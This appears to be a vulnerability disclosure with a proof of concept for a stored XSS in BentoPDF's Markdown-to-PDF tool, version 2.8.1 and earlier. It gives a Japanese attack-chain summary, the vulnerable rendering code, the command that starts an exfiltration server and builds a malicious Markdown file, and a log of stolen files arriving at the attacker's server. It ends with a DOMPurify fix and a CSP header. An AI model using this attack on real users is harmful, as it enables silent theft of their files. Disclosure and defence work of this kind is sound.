攻撃者が report.md（ を含む）を送信
  -> 被害者が Markdown-to-PDF で開く
    -> markdown-it が生のHTMLをレンダリング（html: true）
      -> preview.innerHTML = html  （DOMPurifyなし）
        -> 攻撃者サーバーから poc_payload.js を読み込み（CSPなし）
          -> FileReader + <input type=file> をアプリ全体にフック
            -> 隠しポップアップがツール移動のたびにフックを再注入
              -> 被害者が開くすべてのファイルが静かに窃取される

private mdOptions: MarkdownItOptions = {
  html: true,   // raw HTML tags pass through the markdown parser
  breaks: false,
  linkify: true,
  typographer: true,
};

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // attacker-controlled HTML injected into DOM
  this.renderMermaidDiagrams();
}

# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py will:
#   - generate poc_report.md payload in the current directory
#   - start listening for victim's callbacks and exfiltrated files

$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
  PoC by Astaruf (https://nstsec.com)

========================================================================
  Exfiltration server:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Loot dir:  /home/kali/loot
========================================================================

  Malicious .md file ready: /home/kali/poc_report.md

  Send it to the victim and ask them to open it in Markdown-to-PDF tool.
  The payload fires as soon as the preview renders.

========================================================================

  Waiting for victims...

[17:11:11] WASM HIJACK     { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON          { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON          { page: '.../index.html' }
[17:12:00] BEACON          { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON          { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171358_Lorem_ipsum.pdf

import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;